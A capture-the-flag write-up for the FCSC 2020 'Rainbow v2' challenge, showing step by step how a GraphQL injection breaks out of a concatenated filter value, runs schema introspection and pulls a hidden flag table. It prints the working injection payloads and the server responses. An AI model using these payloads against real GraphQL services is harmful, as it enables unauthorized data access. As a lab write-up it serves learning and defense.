FCSC 2020 Write-Up - Rainbow v2 - Advanced GraphQL Filter Injection
Challenge Overview
Rainbow v2 builds upon its predecessor with improved security measures. Unlike the first version where we could construct arbitrary GraphQL queries, this iteration restricts user input to a single search value that gets concatenated into a predefined query structure.
The security model has changed: we can no longer craft complete queries, only inject values into an existing query template.
Initial Analysis
Testing the Waters
I started by probing the application with various inputs to understand how it processes our search parameter:
Test Case 1: Null Byte Injection
search=%00
Result: Lists all data (interesting! The null byte bypasses the filter)
Test Case 2: Single Quote
search='
Result: Nothing returned
Test Case 3: Double Quote
search="
Result: Syntax error exposed!
{
"errors": [{
"message": "Syntax Error: Cannot parse the unexpected character \"%\".",
"locations": [{"line": 1, "column": 52}]
}]
}
Understanding the Query Structure
Based on error messages and behavior, i hypothesized that the backend query from Rainbow v1 was still in use, but now only the filter value was user-controllable:
{
allCooks (filter: { firstname: {like: "%INJECT_HERE%"}}) {
nodes {
firstname,
lastname,
speciality,
price
}
}
}
Through further testing, i discovered the application was actually searching across both firstname and lastname fields using an or filter:
{
allCooks (
filter: {
or: [
{lastname: {like: "%INJECT_HERE%"}},
{firstname: {like: "%INJECT_HERE%"}}
],
}
) {
nodes {
firstname,
lastname,
speciality,
price
}
}
}
Exploitation Strategy
The Injection Concept
The goal was to break out of the filter context and inject additional GraphQL operations. I needed to:
- Close the existing filter structure
- Add introspection or custom queries
- Handle the remaining query syntax that would be appended
Building the Payload - Iteration 1
My first attempt at injecting introspection:
%"}}{firstname:{like:"%%"}}]}){nodes{id}}__schema{types{name,fields{name}}}allCooks(filter:{or:[{lastname:{like:"%
This attempts to:
- Close the current lastname filter:
%" - Close the firstname object:
}} - Complete the
orarray:{firstname:{like:"%%"}}] - Close the filter and add nodes:
}){nodes{id}} - Inject introspection:
__schema{types{name,fields{name}}} - Start a new allCooks (which will be completed by the trailing query)
Result: Field conflict error!
{
"errors": [{
"message": "Fields \"allCooks\" conflict because they have differing arguments. Use different aliases on the fields to fetch both if this was intentional."
}]
}
Understanding the Conflict
The error reveals that we can’t have two allCooks fields in the same query with different arguments. GraphQL prevents this ambiguity. The solution? Comment out the trailing query!
Building the Payload - Iteration 2
Adding a GraphQL comment (#) to neutralize the rest of the original query:
%"}}{firstname:{like:"%%"}}]}){nodes{id}}__schema{types{name,fields{name}}}#
Result: New error!
{
"errors": [{
"message": "Syntax Error: Cannot parse the unexpected character \"%\".",
"locations": [{"line": 2, "column": 1}]
}]
}
Debugging the Syntax
Let me reconstruct what the complete query looks like:
{
allCooks (
filter: {
or: [
{lastname: {like:"%"}}{firstname:{like:"%%"}}]}){nodes{id}}__schema{types{name,fields{name}}}#%"}},
{firstname: {like:"%"}}{firstname:{like:"%%"}}]}){nodes{id}}__schema{types{name,fields{name}}}#%"}}
]
}
) {
nodes {
firstname,
lastname,
speciality,
price
}
}
}
The problem is clear: I’m closing the filter context but not properly closing the parent allCooks operation bracket!
Building the Payload - Final Version
Adding the missing closing bracket:
%"}}{firstname:{like:"%%"}}]}){nodes{id}}__schema{types{name,fields{name}}}}#
Success! The introspection query executes and reveals the schema, including two critical discoveries:
allFlagNotTheSameTableNames- The table nameflagNotTheSameFieldName- The field name
The challenge authors deliberately obfuscated these names to prevent easy guessing!
Extracting the Flag
With the schema revealed, i crafted the final payload to extract flags:
%"}}{firstname:{like:"%%"}}]}){nodes{firstname}} allFlagNotTheSameTableNames (filter: { flagNotTheSameFieldName: {like: "%%"}}) { nodes { flagNotTheSameFieldName}}}#
This payload:
- Closes the original filter properly
- Completes the first
allCooksquery - Adds a new query for
allFlagNotTheSameTableNames - Comments out the trailing syntax
Result:
{
"data": {
"allCooks": {
"nodes": [
{"firstname": "Thibault"},
{"firstname": "Antoinette"},
{"firstname": "Bernard"},
{"firstname": "Trycia"},
{"firstname": "Jaleel"},
{"firstname": "Isaac"},
{"firstname": "Delbert"},
{"firstname": "Paula"},
{"firstname": "Teagan"},
{"firstname": "Garfield"},
{"firstname": "Elisabeth"},
{"firstname": "Casey"},
{"firstname": "Consuelo"},
{"firstname": "Luciano"},
{"firstname": "Piper"},
{"firstname": "Jace"}
]
},
"allFlagNotTheSameTableNames": {
"nodes": [{
"flagNotTheSameFieldName": "FCSC{70c48061ea21935f748b11188518b3322fcd8285b47059fa99df37f27430b071}"
}]
}
}
}
Conclusion
This challenge was significantly more interesting than v1. The developers tried to secure it by restricting user input to just the search value, but they made the classic mistake: string concatenation instead of parameterized queries.
The vulnerability came down to breaking out of the filter context by injecting special GraphQL characters (}, {, #). Once I understood the query structure through error messages, it was just a matter of carefully crafting payloads to close the existing syntax and inject my own queries. The # comment trick to neutralize the trailing query was key.